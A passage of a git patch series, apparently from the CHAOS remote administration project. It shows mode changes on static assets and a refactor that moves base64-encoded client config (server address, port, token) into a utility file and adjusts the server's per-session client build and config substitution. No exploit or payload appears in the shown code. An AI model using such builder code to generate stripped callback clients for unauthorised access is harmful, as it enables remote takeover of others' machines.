b/web/static/js/popper.min.js old mode 100755 new mode 100644 diff --git a/web/static/webfonts/fa-brands-400.eot b/web/static/webfonts/fa-brands-400.eot old mode 100755 new mode 100644 diff --git a/web/static/webfonts/fa-brands-400.svg b/web/static/webfonts/fa-brands-400.svg old mode 100755 new mode 100644 diff --git a/web/static/webfonts/fa-brands-400.ttf b/web/static/webfonts/fa-brands-400.ttf old mode 100755 new mode 100644 diff --git a/web/static/webfonts/fa-brands-400.woff b/web/static/webfonts/fa-brands-400.woff old mode 100755 new mode 100644 diff --git a/web/static/webfonts/fa-brands-400.woff2 b/web/static/webfonts/fa-brands-400.woff2 old mode 100755 new mode 100644 diff --git a/web/static/webfonts/fa-regular-400.eot b/web/static/webfonts/fa-regular-400.eot old mode 100755 new mode 100644 diff --git a/web/static/webfonts/fa-regular-400.svg b/web/static/webfonts/fa-regular-400.svg old mode 100755 new mode 100644 diff --git a/web/static/webfonts/fa-regular-400.ttf b/web/static/webfonts/fa-regular-400.ttf old mode 100755 new mode 100644 diff --git a/web/static/webfonts/fa-regular-400.woff b/web/static/webfonts/fa-regular-400.woff old mode 100755 new mode 100644 diff --git a/web/static/webfonts/fa-regular-400.woff2 b/web/static/webfonts/fa-regular-400.woff2 old mode 100755 new mode 100644 diff --git a/web/static/webfonts/fa-solid-900.eot b/web/static/webfonts/fa-solid-900.eot old mode 100755 new mode 100644 diff --git a/web/static/webfonts/fa-solid-900.svg b/web/static/webfonts/fa-solid-900.svg old mode 100755 new mode 100644 diff --git a/web/static/webfonts/fa-solid-900.ttf b/web/static/webfonts/fa-solid-900.ttf old mode 100755 new mode 100644 diff --git a/web/static/webfonts/fa-solid-900.woff b/web/static/webfonts/fa-solid-900.woff old mode 100755 new mode 100644 diff --git a/web/static/webfonts/fa-solid-900.woff2 b/web/static/webfonts/fa-solid-900.woff2 old mode 100755 new mode 100644 From ce9409e4ddb9457d00a009d9dd62045e9133fdc8 Mon Sep 17 00:00:00 2001 From: tiagorlampert Date: Sat, 25 May 2024 23:42:14 -0300 Subject: [PATCH 8/8] refact --- client/app/utils/config.go | 28 +++++++++++++++++++++++ client/main.go | 27 ++-------------------- services/client/client_service.go | 37 ++++++++++++++++++++++--------- 3 files changed, 56 insertions(+), 36 deletions(-) create mode 100644 client/app/utils/config.go diff --git a/client/app/utils/config.go b/client/app/utils/config.go new file mode 100644 index 0000000..5e32e87 --- /dev/null +++ b/client/app/utils/config.go @@ -0,0 +1,28 @@ +package utils + +import ( + "bytes" + "encoding/json" + "github.com/tiagorlampert/CHAOS/client/app/utils/encode" +) + +type Config struct { + Port string `json:"port"` + ServerAddress string `json:"server_address"` + Token string `json:"token"` +} + +func ReadConfigFile(configFile []byte) *Config { + decoded, err := encode.DecodeBase64(bytes.NewBuffer(configFile).String()) + if err != nil { + panic(err) + } + + configFile = bytes.NewBufferString(decoded).Bytes() + + var config Config + if err := json.Unmarshal(configFile, &config); err != nil { + panic(err) + } + return &config +} diff --git a/client/main.go b/client/main.go index 07238f1..284eadb 100644 --- a/client/main.go +++ b/client/main.go @@ -1,13 +1,11 @@ package main import ( - "bytes" _ "embed" - "encoding/json" "github.com/tiagorlampert/CHAOS/client/app" "github.com/tiagorlampert/CHAOS/client/app/environment" "github.com/tiagorlampert/CHAOS/client/app/ui" - "github.com/tiagorlampert/CHAOS/client/app/utils/encode" + "github.com/tiagorlampert/CHAOS/client/app/utils" ) var ( @@ -17,31 +15,10 @@ var ( //go:embed config.json var configFile []byte -type Config struct { - Port string `json:"port"` - ServerAddress string `json:"server_address"` - Token string `json:"token"` -} - func main() { - config, err := readConfigFile(configFile) - if err != nil { - panic(err) - } + config := utils.ReadConfigFile(configFile) ui.ShowMenu(Version, config.ServerAddress, config.Port) app.New(environment.Load(config.ServerAddress, config.Port, config.Token)).Run() } - -func readConfigFile(configFile []byte) (*Config, error) { - decoded, err := encode.DecodeBase64(bytes.NewBuffer(configFile).String()) - if err != nil { - panic(err) - } - - configFile = bytes.NewBufferString(decoded).Bytes() - - var config Config - return &config, json.Unmarshal(configFile, &config) -} diff --git a/services/client/client_service.go b/services/client/client_service.go index 2a6dac3..10a06d7 100644 --- a/services/client/client_service.go +++ b/services/client/client_service.go @@ -28,11 +28,12 @@ import ( ) const ( - clientBaseDir = "client/" - buildBaseDir = "build/" - configFileName = "config.json" - mainFileName = "main.go" - buildStr = `GO_ENABLED=1 GOOS=%s GOARCH=amd64 go build -ldflags '%s -s -w -X main.Version=%s -extldflags "-static"' -o ../../temp/%s main.go` + clientBaseDir = "client/" + buildBaseDir = "build/" + configFileName = "config.json" + mainFileName = "main.go" + clientConfigFilepath = "app/utils/config.go" + buildStr = `GO_ENABLED=1 GOOS=%s GOARCH=amd64 go build -ldflags '%s -s -w -X main.Version=%s -extldflags "-static"' -o ../../temp/%s main.go` ) type clientService struct { @@ -247,22 +248,31 @@ func (c clientService) WriteClientConfigurationFile(configuration map[string]Cli } func (c clientService) ReplaceClientConfigurationFile(configuration map[string]ClientParam, buildPath string, sessionFilename string) error { - mainFilepath := buildPath + mainFileName - file, err := os.ReadFile(mainFilepath) + filepath := buildPath + clientConfigFilepath + f, err := os.ReadFile(filepath) if err != nil { return err } - fileContent := string(file) + content := string(f) for key, param := range configuration { oldParam := fmt.Sprintf(`"%s"`, key) newParam := fmt.Sprintf(`"%s"`, param.Key) - fileContent = strings.ReplaceAll(fileContent, oldParam, newParam) + content = strings.ReplaceAll(content, oldParam, newParam) } - fileContent = strings.ReplaceAll(fileContent, configFileName, sessionFilename) + return utils.WriteFile(filepath, bytes.NewBufferString(content).Bytes()) +} + +func (c clientService) ReplaceMainConfigurationFile(buildPath string, sessionFilename string) error { + filepath := buildPath + mainFileName + f, err := os.ReadFile(filepath) + if err != nil { + return err + } - return utils.WriteFile(mainFilepath, bytes.NewBufferString(fileContent).Bytes()) + content := strings.ReplaceAll(string(f), configFileName, sessionFilename) + return utils.WriteFile(filepath, bytes.NewBufferString(content).Bytes()) } func (c clientService) PrepareBuildSession(input BuildClientBinaryInput) (string, error) { @@ -290,6 +300,11 @@ func (c clientService) PrepareBuildSession(input BuildClientBinaryInput) (string return "", err } + err = c.ReplaceMainConfigurationFile(buildPath, sessionFilename) + if err != nil { + return "", err + } + return buildPath, nil }